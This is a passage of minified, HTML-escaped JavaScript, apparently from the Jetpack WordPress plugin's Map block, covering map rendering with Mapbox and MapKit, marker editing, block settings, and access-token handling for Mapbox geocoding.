n.Component{constructor(){super(...arguments),this.state={map:null,fit_to_bounds:!1,loaded:!1,mapboxgl:null},this.mapRef=(0,n.createRef)(),this.debouncedSizeMap=(0,a.debounce)(this.sizeMap,250)}render(){const{points:e,admin:t,children:s,markerColor:o}=this.props,{map:a,activeMarker:i,mapboxgl:l}=this.state,{onMarkerClick:c,deleteActiveMarker:u,updateActiveMarker:d}=this,g=i?.props?.point||{},{title:f,caption:b}=g,v=n.Children.map(s,e=&gt;{const t=e?.props?.tagName;if(&quot;AddPoint&quot;===t)return e}),k=a&amp;&amp;l&amp;&amp;e.map((e,t)=&gt;(0,m.jsx)(h.A,{mapRef:this.mapRef,point:e,index:t,map:a,mapboxgl:l,markerColor:o,onClick:c},t)),y=l&amp;&amp;(0,m.jsxs)(p.A,{activeMarker:i,map:a,mapboxgl:l,unsetActiveMarker:()=&gt;this.setState({activeMarker:null}),children:[i&amp;&amp;t&amp;&amp;(0,m.jsxs)(n.Fragment,{children:[(0,m.jsx)(r.TextControl,{label:__(&quot;Marker Title&quot;,&quot;jetpack&quot;),value:f,onChange:e=&gt;d({title:e}),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,m.jsx)(r.TextareaControl,{className:&quot;wp-block-jetpack-map__marker-caption&quot;,label:__(&quot;Marker Caption&quot;,&quot;jetpack&quot;),value:b,rows:&quot;2&quot;,tag:&quot;textarea&quot;,onChange:e=&gt;d({caption:e}),__nextHasNoMarginBottom:!0}),(0,m.jsxs)(r.Button,{onClick:u,className:&quot;wp-block-jetpack-map__delete-btn&quot;,children:[(0,m.jsx)(r.Dashicon,{icon:&quot;trash&quot;,size:&quot;15&quot;}),&quot; &quot;,__(&quot;Delete Marker&quot;,&quot;jetpack&quot;)]})]}),i&amp;&amp;!t&amp;&amp;(0,m.jsxs)(n.Fragment,{children:[(0,m.jsx)(&quot;h3&quot;,{children:f}),(0,m.jsx)(&quot;p&quot;,{children:b})]})]});return(0,m.jsxs)(n.Fragment,{children:[(0,m.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-map__gm-container&quot;,ref:this.mapRef,children:k}),y,v]})}componentDidMount(){const{apiKey:e}=this.props;e&amp;&amp;this.loadMapLibraries()}componentWillUnmount(){this.debouncedSizeMap.cancel(),window.removeEventListener(&quot;resize&quot;,this.debouncedSizeMap)}componentDidUpdate(e){const{admin:t,apiKey:s,children:r,points:n,mapStyle:o,mapDetails:a,scrollToZoom:i,showFullscreenButton:l}=this.props,{map:c,fullscreenControl:u}=this.state;s&amp;&amp;s.length&gt;0&amp;&amp;s!==e.apiKey&amp;&amp;this.loadMapLibraries(),r!==e.children&amp;&amp;!1!==r&amp;&amp;this.clearCurrentMarker(),n!==e.points&amp;&amp;this.setBoundsByMarkers(),n.length!==e.points.length&amp;&amp;this.clearCurrentMarker(),o===e.mapStyle&amp;&amp;a===e.mapDetails||c.setStyle(this.getMapStyle()),i!==e.scrollToZoom&amp;&amp;(i?c.scrollZoom.enable():c.scrollZoom.disable()),l!==e.showFullscreenButton&amp;&amp;(l?(c.addControl(u),t&amp;&amp;u._fullscreenButton&amp;&amp;(u._fullscreenButton.disabled=!0)):c.removeControl(u))}onMarkerClick=e=&gt;{const{onMarkerClick:t}=this.props;this.setState({activeMarker:e}),t()};onMapClick=()=&gt;{this.setState({activeMarker:null})};clearCurrentMarker=()=&gt;{this.setState({activeMarker:null})};updateActiveMarker=e=&gt;{const{points:t}=this.props,{activeMarker:s}=this.state,{index:r}=s.props,n=t.slice(0);Object.assign(n[r],e),this.props.onSetPoints(n)};deleteActiveMarker=()=&gt;{const{points:e}=this.props,{activeMarker:t}=this.state,{index:s}=t.props,r=e.slice(0);r.splice(s,1),this.props.onSetPoints(r),this.setState({activeMarker:null})};sizeMap=()=&gt;{const{mapHeight:e}=this.props,{map:t}=this.state,s=this.mapRef.current;(0,d.A)(s,e),t.resize(),this.setBoundsByMarkers()};updateZoom=()=&gt;{const{zoom:e}=this.props,{map:t}=this.state;t.setZoom(e)};setBoundsByMarkers=()=&gt;{const{admin:e,onSetMapCenter:t,onSetZoom:s,points:r,zoom:n}=this.props,{map:o,activeMarker:a,mapboxgl:i,zoomControl:l,boundsSetProgrammatically:c}=this.state;if(!o)return;if(r.length&amp;&amp;e?o.dragPan.disable():o.dragPan.enable(),!r.length)return;if(a)return;const d=(0,u.ES)(i,r);if(t(d.getCenter()),r.length&gt;1){(0,u._t)(o,d),this.setState({boundsSetProgrammatically:!0});try{o.removeControl(l)}catch{}}else{if(o.setCenter(d.getCenter()),c){const e=12;o.setZoom(e),s(e)}else o.setZoom(parseInt(n,10));o.addControl(l),this.setState({boundsSetProgrammatically:!1})}};getMapStyle(){const{mapStyle:e,mapDetails:t}=this.props;return(0,c.o)(e,t)}getMapType(){const{mapStyle:e}=this.props;switch(e){case&quot;satellite&quot;:return&quot;HYBRID&quot;;case&quot;terrain&quot;:return&quot;TERRAIN&quot;;default:return&quot;ROADMAP&quot;}}scriptsLoaded=()=&gt;{const{mapCenter:e,points:t}=this.props;this.setState({loaded:!0}),t.length,this.initMap(e)};loadMapLibraries(){const{apiKey:e}=this.props,{currentWindow:t}=(0,i.sG)(this.mapRef.current),s={&quot;mapbox-gl-js&quot;:()=&gt;{(0,i.Cu)(t,&quot;mapboxgl&quot;).then(t=&gt;{t.accessToken=e,this.setState({mapboxgl:t},this.scriptsLoaded)})}};(0,i.a$)(l,s,this.mapRef.current)}initMap(e){const{mapboxgl:t}=this.state,{zoom:s,onMapLoaded:r,onError:n,scrollToZoom:o,showFullscreenButton:a,admin:i}=this.props;let l=null;try{l=new t.Map({container:this.mapRef.current,style:this.getMapStyle(),center:(0,u.jF)(e),zoom:parseInt(s,10),pitchWithRotate:!1,attributionControl:!1,dragRotate:!1})}catch(e){return void n(&quot;mapbox_error&quot;,e.message)}o||l.scrollZoom.disable();const c=new t.FullscreenControl;l.on(&quot;error&quot;,e=&gt;{n(&quot;mapbox_error&quot;,e.error.message)});const d=new t.NavigationControl({showCompass:!1,showZoom:!0});l.on(&quot;zoomend&quot;,()=&gt;{this.props.onSetZoom(l.getZoom())}),l.on(&quot;moveend&quot;,()=&gt;{const{onSetMapCenter:e,points:t}=this.props;t.length&lt;1&amp;&amp;e(l.getCenter())}),l.getCanvas().addEventListener(&quot;click&quot;,this.onMapClick),this.setState(({map:e})=&gt;{try{e?.remove()}catch{}return{map:l,zoomControl:d,fullscreenControl:c}},()=&gt;{this.debouncedSizeMap(),l.addControl(d),a&amp;&amp;(l.addControl(c),i&amp;&amp;c._fullscreenButton&amp;&amp;(c._fullscreenButton.disabled=!0)),this.mapRef.current.addEventListener(&quot;alignmentChanged&quot;,this.debouncedSizeMap),l.resize(),r(),this.setState({loaded:!0}),window.addEventListener(&quot;resize&quot;,this.debouncedSizeMap)})}}g.defaultProps={points:[],mapStyle:&quot;default&quot;,zoom:13,onSetZoom:()=&gt;{},onSetMapCenter:()=&gt;{},onMapLoaded:()=&gt;{},onMarkerClick:()=&gt;{},onError:()=&gt;{},markerColor:&quot;red&quot;,apiKey:null,mapCenter:{},address:null};const f=g},14561(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(86087),n=s(27534),o=s(5389),a=s(42470),i=s(19931),l=s(10790);const c=(0,r.forwardRef)(({admin:e,points:t=[],mapStyle:s=&quot;default&quot;,zoom:a=13,onSetZoom:c=()=&gt;{},onSetMapCenter:d=()=&gt;{},onMapLoaded:p=()=&gt;{},onMarkerClick:h=()=&gt;{},onError:m=()=&gt;{},markerColor:g=&quot;red&quot;,mapCenter:f={},mapHeight:b=400,address:v=null,onSetPoints:k,children:y},x)=&gt;{const{loaded:j,error:w,mapkit:_,currentDoc:C,currentWindow:A}=(0,o.PC)(x),{map:S}=(0,o.I3)(_,j,x),E=r.Children.map(y,e=&gt;{const t=e?.props?.tagName;if(&quot;AddPoint&quot;===t)return e}),[N,T]=(0,r.useState)(!1);(0,r.useEffect)(()=&gt;{w&amp;&amp;m(&quot;mapkit_error&quot;,w)},[w,m]);return(0,r.useEffect)(()=&gt;{const e=e=&gt;{x.current.contains(e.target)||T(!1)};return document.addEventListener(&quot;mousedown&quot;,e),()=&gt;{document.removeEventListener(&quot;mousedown&quot;,e)}},[x]),(0,l.jsxs)(n.u,{value:{mapkit:_,map:S,loaded:j,currentDoc:C,currentWindow:A,admin:e,points:t,setPoints:k},children:[j&amp;&amp;_&amp;&amp;S?(0,l.jsx)(u,{address:v,mapCenter:f,mapStyle:s,zoom:a,onSetMapCenter:d,onSetZoom:c,onSetPoints:k,points:t,markerColor:g,onMarkerClick:h,onMapLoaded:p}):null,(0,l.jsxs)(&quot;div&quot;,{style:{height:b?`${b}px`:&quot;400px&quot;,position:&quot;relative&quot;},className:&quot;wp-block-jetpack-map__mapkit-wrapper&quot;,ref:x,onClick:()=&gt;{T(!0)},children:[!N&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-map__select-overlay&quot;}),(0,l.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-map__gm-container&quot;,style:{height:`${b}px`,position:&quot;absolute&quot;,pointerEvents:N?&quot;auto&quot;:&quot;none&quot;}})]}),E,(0,l.jsx)(i.A,{mapProvider:&quot;mapkit&quot;})]})}),u=(0,r.memo)(({address:e=null,mapCenter:t={},mapStyle:s=&quot;default&quot;,zoom:n=13,onSetMapCenter:i=()=&gt;{},onSetZoom:l=()=&gt;{},onSetPoints:c=()=&gt;{},points:u=[],markerColor:d=&quot;red&quot;,onMarkerClick:p=()=&gt;{},onMapLoaded:h=()=&gt;{}})=&gt;{const{map:m,mapkit:g,setActiveMarker:f,setPreviousCenter:b,setCalloutReference:v,currentDoc:k}=(0,o.ST)(),y=(0,r.useRef)(p),x=(0,r.useRef)(c),j=(0,r.useCallback)(e=&gt;{f(e),b(m.center),y.current&amp;&amp;y.current(e),m.setCenterAnimated(new g.Coordinate(e.coordinates.latitude,e.coordinates.longitude))},[m,g,f,b,y]);return(0,o.FN)(t,i),(0,o.y7)(s),(0,o.LR)(n,l),(0,o.$H)(u,d,(0,a.K5)(k,v),j),(0,o.bY)(h),(0,o.wB)(e=&gt;{f(null),e&amp;&amp;m.setCenterAnimated(e)}),(0,o.mA)(e,x),null}),d=c},19673(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(94715),n=s(56427),o=s(27723),a=s(16016),i=s(10790);const __=o.__,l=(0,i.jsx)(n.SVG,{width:&quot;14&quot;,height:&quot;20&quot;,viewBox:&quot;0 0 14 20&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,i.jsx)(n.G,{id:&quot;Page-1&quot;,fill:&quot;none&quot;,fillRule:&quot;evenodd&quot;,children:(0,i.jsxs)(n.G,{id:&quot;outline-add_location-24px&quot;,transform:&quot;translate(-5 -2)&quot;,children:[(0,i.jsx)(n.Polygon,{id:&quot;Shape&quot;,points:&quot;0 0 24 0 24 24 0 24&quot;}),(0,i.jsx)(n.Path,{d:&quot;M12,2 C8.14,2 5,5.14 5,9 C5,14.25 12,22 12,22 C12,22 19,14.25 19,9 C19,5.14 15.86,2 12,2 Z M7,9 C7,6.24 9.24,4 12,4 C14.76,4 17,6.24 17,9 C17,11.88 14.12,16.19 12,18.88 C9.92,16.21 7,11.85 7,9 Z M13,6 L11,6 L11,8 L9,8 L9,10 L11,10 L11,12 L13,12 L13,10 L15,10 L15,8 L13,8 L13,6 Z&quot;,id:&quot;Shape&quot;,fill:&quot;#000&quot;,fillRule:&quot;nonzero&quot;})]})})}),c=({attributes:e,setAttributes:t,apiKey:s,apiKeySource:o,apiKeyControl:c,onKeyChange:u,context:d,mapRef:p,minHeight:h,removeAPIKey:m,updateAPIKey:g,setPointVisibility:f,mapProvider:b})=&gt;{const v=e=&gt;{t({align:e}),p.current?.sizeMap&amp;&amp;setTimeout(p.current.sizeMap,0)};return&quot;toolbar&quot;===d?(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(r.BlockAlignmentToolbar,{value:e.align,onChange:v,controls:[&quot;center&quot;,&quot;wide&quot;,&quot;full&quot;]}),(0,i.jsx)(n.ToolbarGroup,{children:(0,i.jsx)(n.ToolbarButton,{icon:l,label:__(&quot;Add a marker&quot;,&quot;jetpack&quot;),onClick:f})})]}):(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(r.PanelColorSettings,{title:__(&quot;Colors&quot;,&quot;jetpack&quot;),initialOpen:!0,colorSettings:[{value:e.markerColor,onChange:e=&gt;t({markerColor:e}),label:__(&quot;Marker&quot;,&quot;jetpack&quot;)}]}),(0,i.jsxs)(n.PanelBody,{title:__(&quot;Settings&quot;,&quot;jetpack&quot;),children:[(0,i.jsx)(n.__experimentalNumberControl,{label:__(&quot;Height in pixels&quot;,&quot;jetpack&quot;),value:e.mapHeight||&quot;&quot;,min:h,onChange:e=&gt;{t({mapHeight:e})},size:&quot;__unstable-large&quot;,step:10}),(0,i.jsx)(n.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Zoom level&quot;,&quot;jetpack&quot;),help:e.points.length&gt;1&amp;&amp;__(&quot;The default zoom level cannot be changed when there are two or more markers on the map.&quot;,&quot;jetpack&quot;),disabled:e.points.length&gt;1,value:Math.round(e.zoom),onChange:e=&gt;{t({zoom:e}),p.current&amp;&amp;p.current.updateZoom&amp;&amp;setTimeout(p.current.updateZoom,0)},min:0,max:22}),&quot;mapbox&quot;===b?(0,i.jsx)(n.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Show labels&quot;,&quot;jetpack&quot;),checked:e.mapDetails,onChange:e=&gt;t({mapDetails:e})}):null,(0,i.jsx)(n.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Scroll to zoom&quot;,&quot;jetpack&quot;),help:__(&quot;Allow the map to capture scrolling, and zoom in or out.&quot;,&quot;jetpack&quot;),checked:e.scrollToZoom,onChange:e=&gt;t({scrollToZoom:e})}),&quot;mapbox&quot;===b?(0,i.jsx)(n.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Show Fullscreen Button&quot;,&quot;jetpack&quot;),help:__(&quot;Allow your visitors to display the map in fullscreen.&quot;,&quot;jetpack&quot;),checked:e.showFullscreenButton,onChange:e=&gt;t({showFullscreenButton:e})}):null]}),e.points.length?(0,i.jsx)(n.PanelBody,{title:__(&quot;Markers&quot;,&quot;jetpack&quot;),initialOpen:!1,children:(0,i.jsx)(a.A,{points:e.points,onChange:e=&gt;{t({points:e})}})}):null,&quot;mapbox&quot;===b?(0,i.jsxs)(n.PanelBody,{title:__(&quot;Mapbox Access Token&quot;,&quot;jetpack&quot;),initialOpen:!1,children:[(0,i.jsx)(n.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,help:&quot;wpcom&quot;===o&amp;&amp;(0,i.jsxs)(i.Fragment,{children:[__(&quot;You can optionally enter your own access token.&quot;,&quot;jetpack&quot;),&quot; &quot;,(0,i.jsx)(n.ExternalLink,{href:&quot;https://account.mapbox.com/access-tokens/&quot;,children:__(&quot;Find it on Mapbox&quot;,&quot;jetpack&quot;)})]}),label:__(&quot;Mapbox Access Token&quot;,&quot;jetpack&quot;),value:c,onChange:u}),(0,i.jsx)(&quot;div&quot;,{className:&quot;jetpack-map-token-settings&quot;,children:(0,i.jsxs)(n.__experimentalToggleGroupControl,{isBlock:!0,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,children:[(0,i.jsx)(n.__experimentalToggleGroupControlOption,{className:&quot;components-button jetpack-update-token-button&quot;,label:__(&quot;Update Token&quot;,&quot;jetpack&quot;),value:&quot;update&quot;,onClick:g,disabled:!c||c===s}),(0,i.jsx)(n.__experimentalToggleGroupControlOption,{className:&quot;components-button is-secondary&quot;,label:__(&quot;Remove Token&quot;,&quot;jetpack&quot;),value:&quot;remove&quot;,onClick:m,disabled:&quot;wpcom&quot;===o})]})})]}):null]})}},1807(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={attributes:{align:{type:&quot;string&quot;},points:{type:&quot;array&quot;,default:[]},mapDetails:{type:&quot;boolean&quot;,default:!0},zoom:{type:&quot;integer&quot;,default:13},mapCenter:{type:&quot;object&quot;,default:{longitude:-122.41941550000001,latitude:37.7749295}},mapStyle:{type:&quot;string&quot;,default:&quot;default&quot;},markerColor:{type:&quot;string&quot;,default:&quot;red&quot;},scrollToZoom:{type:&quot;boolean&quot;,default:!1},mapHeight:{type:&quot;integer&quot;}},migrate:e=&gt;{const t=((e.className||&quot;&quot;).replace(/is-style-[^ ]+/,&quot;&quot;)+` is-style-${e.mapStyle}`).replace(/\s+/g,&quot; &quot;).trim(),{mapStyle:s,...r}=e;return{...r,showFullscreenButton:!0,className:t}},save:s(66730).A}},66730(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(10790);class o extends r.Component{render(){const{attributes:e}=this.props,{align:t,mapStyle:s,mapDetails:r,points:o,zoom:a,mapCenter:i,markerColor:l,scrollToZoom:c,mapHeight:u}=e,d=o.map((e,t)=&gt;{const{longitude:s,latitude:r}=e.coordinates,o=&quot;https://www.google.com/maps/search/?api=1&amp;query=&quot;+r+&quot;,&quot;+s;return(0,n.jsx)(&quot;li&quot;,{children:(0,n.jsx)(&quot;a&quot;,{href:o,children:e.title})},t)}),p=t?`align${t}`:null;return(0,n.jsx)(&quot;div&quot;,{className:p,&quot;data-map-style&quot;:s,&quot;data-map-details&quot;:r,&quot;data-points&quot;:JSON.stringify(o),&quot;data-zoom&quot;:a,&quot;data-map-center&quot;:JSON.stringify(i),&quot;data-marker-color&quot;:l,&quot;data-scroll-to-zoom&quot;:c||null,&quot;data-map-height&quot;:u||null,children:o.length&gt;0&amp;&amp;(0,n.jsx)(&quot;ul&quot;,{children:d})})}}const a=o},43402(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={attributes:{align:{type:&quot;string&quot;},points:{type:&quot;array&quot;,default:[]},mapDetails:{type:&quot;boolean&quot;,default:!0},zoom:{type:&quot;integer&quot;,default:13},mapCenter:{type:&quot;object&quot;,default:{longitude:-122.41941550000001,latitude:37.7749295}},mapStyle:{type:&quot;string&quot;,default:&quot;default&quot;},markerColor:{type:&quot;string&quot;,default:&quot;red&quot;},scrollToZoom:{type:&quot;boolean&quot;,default:!1},mapHeight:{type:&quot;integer&quot;},showFullscreenButton:{type:&quot;boolean&quot;,default:!0}},migrate:e=&gt;{const t=((e.className||&quot;&quot;).replace(/is-style-[^ ]+/,&quot;&quot;)+` is-style-${e.mapStyle}`).replace(/\s+/g,&quot; &quot;).trim(),{mapStyle:s,...r}=e;return{...r,className:t}},save:s(34161).A}},34161(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(10790);class o extends r.Component{render(){const{attributes:e}=this.props,{align:t,mapStyle:s,mapDetails:r,points:o,zoom:a,mapCenter:i,markerColor:l,scrollToZoom:c,mapHeight:u,showFullscreenButton:d}=e,p=o.map((e,t)=&gt;{const{longitude:s,latitude:r}=e.coordinates,o=&quot;https://www.google.com/maps/search/?api=1&amp;query=&quot;+r+&quot;,&quot;+s;return(0,n.jsx)(&quot;li&quot;,{children:(0,n.jsx)(&quot;a&quot;,{href:o,children:e.title})},t)}),h=t?`align${t}`:null;return(0,n.jsx)(&quot;div&quot;,{className:h,&quot;data-map-style&quot;:s,&quot;data-map-details&quot;:r,&quot;data-points&quot;:JSON.stringify(o),&quot;data-zoom&quot;:a,&quot;data-map-center&quot;:JSON.stringify(i),&quot;data-marker-color&quot;:l,&quot;data-scroll-to-zoom&quot;:c||null,&quot;data-map-height&quot;:u||null,&quot;data-show-fullscreen-button&quot;:d||null,children:o.length&gt;0&amp;&amp;(0,n.jsx)(&quot;ul&quot;,{children:p})})}}const a=o},61647(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;_});var r=s(85985),n=s(1455),o=s.n(n),a=s(94715),i=s(56427),l=s(29491),c=s(47143),u=s(86087),d=s(27723),p=s(90907),h=s(98144),m=s(6852),g=s(6199),f=s(19673),b=s(2905),v=s(25836),k=s(62393),y=s(44950),x=s(10790);const __=d.__,j=(0,r.sh)(m),w={top:!1,right:!1,bottom:!0,left:!1,topRight:!1,bottomRight:!1,bottomLeft:!1,topLeft:!1},_=(0,l.compose)(i.withNotices)(({setAttributes:e,attributes:t,noticeUI:s,notices:r,isSelected:n,noticeOperations:l})=&gt;{const{address:d,mapDetails:m,points:_,zoom:C,mapCenter:A,markerColor:S,mapHeight:E,showFullscreenButton:N}=t,{toggleSelection:T}=(0,c.useDispatch)(&quot;core/block-editor&quot;),{isPreviewMode:B}=(0,c.useSelect)(e=&gt;{const{getSettings:t}=e(a.store);return{isPreviewMode:t().isPreviewMode}},[]),[P,I]=(0,u.useState)(!1),[M,L]=(0,u.useState)(0),[R,D]=(0,u.useState)(null),[F,O]=(0,u.useState)(null),[z,U]=(0,u.useState)(null),[H,q]=(0,u.useState)(null),V=(0,u.useRef)(null),$=(0,a.useBlockProps)(),{className:G}=$,W=(0,p.D)(k.A,G),Z=(0,y.A)({mapStyle:W}),J=()=&gt;{d&amp;&amp;R&amp;&amp;&quot;mapkit&quot;!==Z&amp;&amp;(0,b.I)(d,R).then(t=&gt;{if(t.features?.length){const s=t.features[0],r=[{title:s.text,placeTitle:s.text,caption:s.place_name,id:s.id,coordinates:{latitude:s.center[1],longitude:s.center[0]}}];e({points:r})}else ee(null,__(&quot;Could not find the coordinates of the provided address. Displaying default location. Feel free to add the location manually.&quot;,&quot;jetpack&quot;))}).catch(e=&gt;ee(null,e.message))},K=(e=null,t=&quot;GET&quot;)=&gt;new Promise((s,r)=&gt;{const n=&quot;/wpcom/v2/service-api-keys/mapbox&quot;,a=e?{path:n,method:t,data:{service_api_key:e}}:{path:n,method:t};q(!0),o()(a).then(({service_api_key:e,service_api_key_source:t})=&gt;{l.removeAllNotices(),L(e?2:1),D(e),O(&quot;wpcom&quot;===t?&quot;&quot;:e),U(t),q(!1),s()},({message:e})=&gt;{ee(null,e),L(1),q(!1),r()})}),Y=t=&gt;{if(_.some(e=&gt;e.id===t.id))return;const s=_.slice(0);s.push(t),e({points:s}),I(!1)},Q=()=&gt;{l.removeAllNotices(),F&amp;&amp;K(F,&quot;POST&quot;)},X=()=&gt;K(null,&quot;DELETE&quot;),ee=(e,t)=&gt;{l.removeAllNotices(),l.createErrorNotice(t)},te=(t,s,r,n)=&gt;{T(!0);const o=V?.current?.mapRef??V;if(o){const t=parseInt(o.current.offsetHeight+n.height,10);e({mapHeight:t}),o.current.sizeMap&amp;&amp;setTimeout(o.current.sizeMap,0)}};let se;if((0,u.useEffect)(()=&gt;{&quot;mapbox&quot;===Z?K().then(J):L(2)},[]),(0,u.useEffect)(J,[d]),(0,u.useEffect)(()=&gt;{G&amp;&amp;!R&amp;&amp;(L(0),K())},[G]),B){const e=k.A.find(e=&gt;e.name===W);se=(0,x.jsx)(&quot;div&quot;,{children:(0,x.jsx)(&quot;img&quot;,{alt:__(&quot;Map Preview&quot;,&quot;jetpack&quot;),src:e?e.preview:v,style:{width:&quot;100%&quot;,height:E||&quot;400px&quot;,objectFit:&quot;cover&quot;}})})}else if(0===M)se=(0,x.jsx)(i.Placeholder,{icon:j,children:(0,x.jsx)(i.Spinner,{})});else if(1===M)se=(0,x.jsx)(i.Placeholder,{icon:j,label:__(&quot;Map&quot;,&quot;jetpack&quot;),notices:r,children:(0,x.jsxs)(x.Fragment,{children:[(0,x.jsxs)(&quot;p&quot;,{className:&quot;components-placeholder__instructions&quot;,children:[__(&quot;To use the map block, you need an Access Token.&quot;,&quot;jetpack&quot;),(0,x.jsx)(&quot;br&quot;,{}),(0,x.jsx)(i.ExternalLink,{href:&quot;https://www.mapbox.com&quot;,children:__(&quot;Create an account or log in to Mapbox.&quot;,&quot;jetpack&quot;)}),(0,x.jsx)(&quot;br&quot;,{}),__(&quot;Locate and copy the default access token. Then, paste it into the field below.&quot;,&quot;jetpack&quot;)]}),(0,x.jsxs)(&quot;form&quot;,{children:[(0,x.jsx)(&quot;input&quot;,{type:&quot;text&quot;,className:&quot;components-placeholder__input&quot;,disabled:H,placeholder:__(&quot;Paste Token Here&quot;,&quot;jetpack&quot;),value:F,onChange:e=&gt;O(e.target.value)}),(0,x.jsx)(i.Button,{variant:&quot;secondary&quot;,disabled:H||!F||F.length&lt;1,onClick:Q,children:__(&quot;Set Token&quot;,&quot;jetpack&quot;)})]})]})});else if(2===M){const s=e=&gt;O(e),r=n&amp;&amp;_.length&lt;=1;se=(0,x.jsxs)(x.Fragment,{children:[(0,x.jsx)(a.BlockControls,{children:(0,x.jsx)(f.A,{attributes:t,setAttributes:e,apiKey:R,apiKeySource:z,apiKeyControl:F,onKeyChange:s,setPointVisibility:()=&gt;I(!0),context:&quot;toolbar&quot;,mapRef:V,mapProvider:Z})}),(0,x.jsx)(a.InspectorControls,{children:(0,x.jsx)(f.A,{attributes:t,setAttributes:e,apiKey:R,apiKeySource:z,apiKeyControl:F,onKeyChange:s,mapRef:V,minHeight:400,removeAPIKey:X,updateAPIKey:Q,mapProvider:Z})}),(0,x.jsx)(i.ResizableBox,{size:{height:E||&quot;auto&quot;,width:&quot;100%&quot;},grid:[10,10],showHandle:n,minHeight:400,enable:w,onResizeStart:()=&gt;T(!1),onResizeStop:te,children:(0,x.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-map__map_wrapper&quot;,children:(0,x.jsx)(g.A,{ref:V,address:d,scrollToZoom:r,showFullscreenButton:N,mapStyle:W||&quot;default&quot;,mapDetails:m,mapHeight:E,points:_,zoom:C,mapCenter:A,markerColor:S,onSetZoom:t=&gt;{e({zoom:t})},admin:!0,apiKey:R,onSetPoints:t=&gt;e({points:t}),onSetMapCenter:t=&gt;e({mapCenter:t}),onMapLoaded:()=&gt;I(!_.length),onMarkerClick:()=&gt;I(!1),onError:ee,mapProvider:Z,children:n&amp;&amp;P&amp;&amp;(0,x.jsx)(h.A,{onAddPoint:Y,onClose:()=&gt;I(!1),apiKey:R,onError:ee,tagName:&quot;AddPoint&quot;,mapProvider:Z})})})})]})}return(0,x.jsxs)(&quot;div&quot;,{...$,children:[s,se]})})},12742(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(6852),o=s(1807),a=s(43402),i=s(61647),l=s(2194),c=s(62393);s(72847),s(71035);(0,r.M)(n,{edit:i.A,save:l.A,styles:c.A,deprecated:[a.A,o.A]})},2905(e,t,s){&quot;use strict&quot;;function r(e,t){return fetch(`https://api.mapbox.com/geocoding/v5/mapbox.places/${encodeURIComponent(e)}.json?access_token=${encodeURIComponent(t)}`).then(e=&gt;e.json())}s.d(t,{I:()=&gt;r})},67670(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(96687),n=s(25786),o=s(10790);const a=e=&gt;{const t=&quot;mapbox&quot;===e.mapProvider?r.A:n.A;return(0,o.jsx)(t,{...e})}},96687(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(56427),n=s(86087),o=s(27723),a=s(97566),i=s(10790);const l=(0,o.__)(&quot;Add a marker…&quot;,&quot;jetpack&quot;);class c extends n.Component{constructor(){super(...arguments),this.textRef=(0,n.createRef)(),this.containerRef=(0,n.createRef)(),this.state={isEmpty:!0},this.autocompleter={name:&quot;placeSearch&quot;,options:this.search,isDebounced:!0,getOptionLabel:e=&gt;(0,i.jsx)(&quot;span&quot;,{children:e.place_name}),getOptionKeywords:e=&gt;[e.place_name],getOptionCompletion:this.getOptionCompletion}}componentDidMount(){setTimeout(()=&gt;{this.containerRef.current.querySelector(&quot;input&quot;).focus()},50)}getOptionCompletion=e=&gt;{const{value:t}=e,s={placeTitle:t.text,title:t.text,caption:t.place_name,id:t.id,coordinates:{longitude:t.geometry.coordinates[0],latitude:t.geometry.coordinates[1]}};return this.props.onAddPoint(s),t.text};search=e=&gt;{const{apiKey:t,onError:s}=this.props,r=&quot;https://api.mapbox.com/geocoding/v5/mapbox.places/&quot;+encodeURI(e)+&quot;.json?access_token=&quot;+t;return new Promise(function(e,t){const n=new XMLHttpRequest;n.open(&quot;GET&quot;,r),n.onload=function(){if(200===n.status){const t=JSON.parse(n.responseText);e(t.features)}else{const e=JSON.parse(n.responseText);s(e.statusText,e.responseJSON.message),t(new Error(&quot;Mapbox Places Error&quot;))}},n.send()})};onReset=()=&gt;{this.textRef.current.value=null};render(){const{label:e}=this.props;return(0,i.jsx)(&quot;div&quot;,{ref:this.containerRef,children:(0,i.jsx)(&quot;div&quot;,{className:&quot;components-location-search&quot;,children:(0,i.jsx)(a.A,{completer:this.autocompleter,onReset:this.onReset,children:({isExpanded:t,listBoxId:s,activeId:n,onChange:o,onKeyDown:a})=&gt;(0,i.jsx)(r.TextControl,{label:e,placeholder:l,ref:this.textRef,onChange:o,&quot;aria-expanded&quot;:t,&quot;aria-owns&quot;:s,&quot;aria-activedescendant&quot;:n,onKeyDown:a,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})})})})}}c.defaultProps={onError:()=&gt;{}};const u=c},25786(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(56427),n=s(86087),o=s(27723),a=s(97566),i=s(5389),l=s(10790);const c=(0,o.__)(&quot;Add a marker…&quot;,&quot;jetpack&quot;),u=({label:e,onAddPoint:t})=&gt;{const s=(0,n.useRef)(void 0),o=(0,n.useRef)(void 0),{mapkit:u}=(0,i.ST)(),d=new u.Search({includePointsOfInterest:!1}),p={name:&quot;placeSearch&quot;,options:async e=&gt;new 